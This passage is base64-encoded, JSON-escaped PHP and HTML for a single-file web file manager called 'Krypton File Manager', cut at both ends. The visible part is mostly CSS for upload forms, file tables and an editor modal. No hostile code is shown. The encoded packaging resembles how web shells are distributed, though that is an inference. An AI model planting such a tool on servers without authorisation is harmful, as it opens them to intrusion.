0ZW1zID0gJGRpcmVjdG9yeU1hbmFnZXItPmdldERpcmVjdG9yeUNvbnRlbnRzKCk7XHJcbiRicmVhZGNydW1icyA9ICRkaXJlY3RvcnlNYW5hZ2VyLT5nZXRCcmVhZGNydW1icygpO1xyXG4kY3VycmVudFBhdGggPSAkZGlyZWN0b3J5TWFuYWdlci0+Z2V0Q3VycmVudFBhdGgoKTtcclxuJGVuY3J5cHRlZEN1cnJlbnRQYXRoID0gJHNlY3VyaXR5TWFuYWdlci0+ZW5jcnlwdFBhdGgoJGN1cnJlbnRQYXRoKTtcclxuJGhvbWVEaXJlY3RvcnkgPSBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7XHJcbiRlbmNyeXB0ZWRIb21lRGlyZWN0b3J5ID0gJHNlY3VyaXR5TWFuYWdlci0+ZW5jcnlwdFBhdGgoJGhvbWVEaXJlY3RvcnkpO1xyXG4kZW5jcnlwdGlvbktleVdhcm5pbmcgPSAkc2VjdXJpdHlNYW5hZ2VyLT5oYXNEZWZhdWx0RW5jcnlwdGlvbktleSgpID9cclxuICAgICAgICAnV2FybmluZzogRGVmYXVsdCBlbmNyeXB0aW9uIGtleSBpcyBiZWluZyB1c2VkLiBQbGVhc2UgY2hhbmdlIGl0IGZvciBzZWN1cml0eS4nIDogJyc7XHJcbiRzdWNjZXNzID0gJG1lc3NhZ2VzWydzdWNjZXNzJ107XHJcbiRlcnJvciA9ICRtZXNzYWdlc1snZXJyb3InXTtcclxuPz5cclxuPCFET0NUWVBFIGh0bWw+XHJcbjxodG1sIGxhbmc9XCJlblwiPlxyXG4gICAgPGhlYWQ+XHJcbiAgICAgICAgPG1ldGEgY2hhcnNldD1cIlVURi04XCI+XHJcbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjBcIj5cclxuICAgICAgICA8dGl0bGU+S3J5cHRvbiBGaWxlIE1hbmFnZXI8XC90aXRsZT5cclxuICAgICAgICA8c3R5bGU+XHJcbiAgICAgICAgICAgIFwvKiBCYXNlIHN0eWxlcyBhbmQgcmVzZXQgKlwvXHJcbiAgICAgICAgICAgICoge1xyXG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogMDtcclxuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XHJcbiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogJ0ludGVyJywgJ1JvYm90bycsICdIZWx2ZXRpY2EnLCBzYW5zLXNlcmlmO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBib2R5IHtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnaHR0cHM6XC9cL3cud2FsbGhhdmVuLmNjXC9mdWxsXC9seVwvd2FsbGhhdmVuLWx5cTNrcS5qcGcnKTtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y5ZjlmOTtcclxuICAgICAgICAgICAgICAgIGNvbG9yOiAjMzMzMzMzO1xyXG4gICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7XHJcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmNvbnRhaW5lciB7XHJcbiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDEyMDBweDtcclxuICAgICAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvO1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogMCAyMHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcLyogTmF2aWdhdGlvbiBiYXIgKlwvXHJcbiAgICAgICAgICAgIC5uYXZiYXIge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjtcclxuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMnB4IDhweCByZ2JhKDAsIDAsIDAsIDAuMDUpO1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogMTVweCAwO1xyXG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHN0aWNreTtcclxuICAgICAgICAgICAgICAgIHRvcDogMDtcclxuICAgICAgICAgICAgICAgIHotaW5kZXg6IDEwMDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLm5hdmJhci1jb250ZW50IHtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XHJcbiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAubmF2YmFyIGgxIHtcclxuICAgICAgICAgICAgICAgIGNvbG9yOiAjMzMzMzMzO1xyXG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjVyZW07XHJcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAudmVyc2lvbiB7XHJcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuOHJlbTtcclxuICAgICAgICAgICAgICAgIGNvbG9yOiAjNzc3O1xyXG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwcHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5uYXZiYXItYWN0aW9ucyB7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICAgICAgZ2FwOiAxMHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuaG9tZS1idG4ge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzRhNmNmNztcclxuICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTtcclxuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4O1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4O1xyXG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xyXG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDtcclxuICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xyXG4gICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzIGVhc2U7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5ob21lLWJ0bjpob3ZlciB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjM2E1Y2U1O1xyXG4gICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpO1xyXG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggOHB4IHJnYmEoMCwgMCwgMCwgMC4xKTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmhvbWUtaWNvbiB7XHJcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC8qIEJyZWFkY3J1bWIgbmF2aWdhdGlvbiAqXC9cclxuICAgICAgICAgICAgLmJyZWFkY3J1bWIge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDA7XHJcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4O1xyXG4gICAgICAgICAgICAgICAgb3ZlcmZsb3cteDogYXV0bztcclxuICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5icmVhZGNydW1iLWl0ZW0ge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5icmVhZGNydW1iLWl0ZW0gYSB7XHJcbiAgICAgICAgICAgICAgICBjb2xvcjogIzRhNmNmNztcclxuICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweCA4cHg7XHJcbiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7XHJcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kLWNvbG9yIDAuMnM7XHJcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5icmVhZGNydW1iLWl0ZW0gYTpob3ZlciB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDc0LCAxMDgsIDI0NywgMC4xKTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmJyZWFkY3J1bWItc2VwYXJhdG9yIHtcclxuICAgICAgICAgICAgICAgIG1hcmdpbjogMCA1cHg7XHJcbiAgICAgICAgICAgICAgICBjb2xvcjogIzk5OTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmJyZWFkY3J1bWItY3VycmVudCB7XHJcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwO1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogNXB4IDhweDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC8qIFNlY3Rpb24gc3R5bGluZyAqXC9cclxuICAgICAgICAgICAgLnNlY3Rpb24ge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjkpO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4O1xyXG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggOHB4IHJnYmEoMCwgMCwgMCwgMC4wNSk7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAyMHB4O1xyXG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDtcclxuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IHJnYmEoNTAsIDUwLCA5MywgMC4yNSkgMHB4IDJweCA1cHggLTFweCwgcmdiYSgwLCAwLCAwLCAwLjMpIDBweCAxcHggM3B4IC0xcHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5zZWN0aW9uLWhlYWRlciB7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xyXG4gICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5zZWN0aW9uLXRpdGxlIHtcclxuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xcmVtO1xyXG4gICAgICAgICAgICAgICAgY29sb3I6ICMzMzMzMzM7XHJcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuc2VjdGlvbi1hY3Rpb25zIHtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XHJcbiAgICAgICAgICAgICAgICBnYXA6IDEwcHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvKiBVcGxvYWQgZm9ybSAqXC9cclxuICAgICAgICAgICAgLnVwbG9hZC1mb3JtIHtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XHJcbiAgICAgICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7XHJcbiAgICAgICAgICAgICAgICBnYXA6IDEwcHg7XHJcbiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAudXBsb2FkLWZvcm0gaW5wdXRbdHlwZT1cImZpbGVcIl0ge1xyXG4gICAgICAgICAgICAgICAgZmxleDogMTtcclxuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMjAwcHg7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMHB4O1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2UwZTBlMDtcclxuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZmZmY7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5idG4ge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzRhNmNmNztcclxuICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTtcclxuICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTtcclxuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDtcclxuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDtcclxuICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcclxuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7XHJcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYnRuOmhvdmVyIHtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzYTVjZTU7XHJcbiAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7XHJcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAwLjEpO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYnRuLXNtIHtcclxuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDZweCAxMnB4O1xyXG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjlyZW07XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5idG4tc3VjY2VzcyB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjhhNzQ1O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYnRuLXN1Y2Nlc3M6aG92ZXIge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIxODgzODtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC8qIEZpbGUgbGlzdCB0YWJsZSAqXC9cclxuICAgICAgICAgICAgLmZpbGUtdGFibGUtY29udGFpbmVyIHtcclxuICAgICAgICAgICAgICAgIG92ZXJmbG93LXg6IGF1dG87XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5maWxlLXRhYmxlIHtcclxuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcclxuICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5maWxlLXRhYmxlIHRoIHtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7XHJcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xyXG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDtcclxuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwO1xyXG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuZmlsZS10YWJsZSB0ZCB7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7XHJcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmZpbGUtdGFibGUgdHI6aG92ZXIge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y1ZjdmZjtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmZpbGUtbmFtZSB7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIGdhcDogOHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuZm9sZGVyLWljb246OmJlZm9yZSB7XHJcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlx1ZDgzZFx1ZGNjMVwiO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuZmlsZS1pY29uOjpiZWZvcmUge1xyXG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcdWQ4M2RcdWRjYzRcIjtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC8qIEFjdGlvbiBidXR0b25zICpcL1xyXG4gICAgICAgICAgICAuYWN0aW9uLWJ1dHRvbnMge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgICAgIGdhcDogOHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYWN0aW9uLWJ0biB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyOiBub25lO1xyXG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xyXG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtO1xyXG4gICAgICAgICAgICAgICAgY29sb3I6ICM1NTU7XHJcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xyXG4gICAgICAgICAgICAgICAgd2lkdGg6IDI4cHg7XHJcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDI4cHg7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYWN0aW9uLWJ0bjpob3ZlciB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjBmMGYwO1xyXG4gICAgICAgICAgICAgICAgY29sb3I6ICMzMzM7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvKiBNb2RhbCBzdHlsZXMgKlwvXHJcbiAgICAgICAgICAgIC5tb2RhbCB7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xyXG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkO1xyXG4gICAgICAgICAgICAgICAgdG9wOiAwO1xyXG4gICAgICAgICAgICAgICAgbGVmdDogMDtcclxuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xyXG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgwLCAwLCAwLCAwLjUpO1xyXG4gICAgICAgICAgICAgICAgei1pbmRleDogMTAwMDtcclxuICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xyXG4gICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLm1vZGFsLWNvbnRlbnQge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAyNXB4O1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4O1xyXG4gICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcclxuICAgICAgICAgICAgICAgIG1heC13aWR0aDogNDAwcHg7XHJcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCAyMHB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5tb2RhbC1jb250ZW50Lm1vZGFsLWxnIHtcclxuICAgICAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7XHJcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDgwJTtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XHJcbiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAubW9kYWwtdGl0bGUge1xyXG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJyZW07XHJcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4O1xyXG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLm1vZGFsLWZvcm0ge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XHJcbiAgICAgICAgICAgICAgICBnYXA6IDE1cHg7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5lZGl0b3ItZm9ybSB7XHJcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcclxuICAgICAgICAgICAgICAgIGdhcDogMTVweDtcclxuICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmZvcm0tZ3JvdXAge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XHJcbiAgICAgICAgICAgICAgICBnYXA6IDVweDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmZvcm0tZ3JvdXAgbGFiZWwge1xyXG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmZvcm0tZ3JvdXAgaW5wdXQge1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7XHJcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4O1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuZm9ybS1ncm91cCB0ZXh0YXJlYSB7XHJcbiAgICAgICAgICAgICAgICBmbGV4LWdyb3c6IDE7XHJcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4O1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcclxuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcclxuICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBtb25vc3BhY2U7XHJcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE0cHg7XHJcbiAgICAgICAgICAgICAgICByZXNpemU6IG5vbmU7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5tb2RhbC1hY3Rpb25zIHtcclxuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XHJcbiAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xyXG4gICAgICAgICAgICAgICAgZ2FwOiAxMHB4O1xyXG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgLmJ0bi1jYW5jZWwge1xyXG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2YwZjBmMDtcclxuICAgICAgICAgICAgICAgIGNvbG9yOiAjMzMzO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYnRuLWNhbmNlbDpob3ZlciB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZTBlMGUwO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcLyogQWxlcnRzICpcL1xyXG4gICAgICAgICAgICAuYWxlcnQge1xyXG4gICAgICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4O1xyXG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDtcclxuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcclxuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5hbGVydC1zdWNjZXNzIHtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNkNGVkZGE7XHJcbiAgICAgICAgICAgICAgICBjb2xvcjogIzE1NTcyNDtcclxuICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjM2U2Y2I7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5hbGVydC1lcnJvciB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjhkN2RhO1xyXG4gICAgICAgICAgICAgICAgY29sb3I6ICM3MjFjMjQ7XHJcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZjVjNmNiO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAuYWxlcnQtd2FybmluZyB7XHJcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmM2NkO1xyXG4gICAgICAgICAgICAgICAgY29sb3I6ICM4NTY0MDQ7XHJcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZlZWJhO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcLyogRm9vdGVyICpcL1xyXG4gICAgICAgICAgICAuZm9vdGVyIHtcclxuICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMDtcclxuICAgICAgICAgICAgICAgIGNvbG9yOiAjNzc3O1xyXG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjlyZW07XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvKiBMb2FkaW5nIG92ZXJsYXkgKlwvXHJcbiAgICAgICAgICAgIC5sb2FkaW5nLW92ZXJsYXkge1xyXG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZTtcclxuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcclxuICAgICAgICAgICAgICAgIHRvcDogMDtcclxuICAgICAgICAgICAgICAgIGxlZnQ6IDA7XHJcbiAgICAgICAgICAgICAgICB3aWR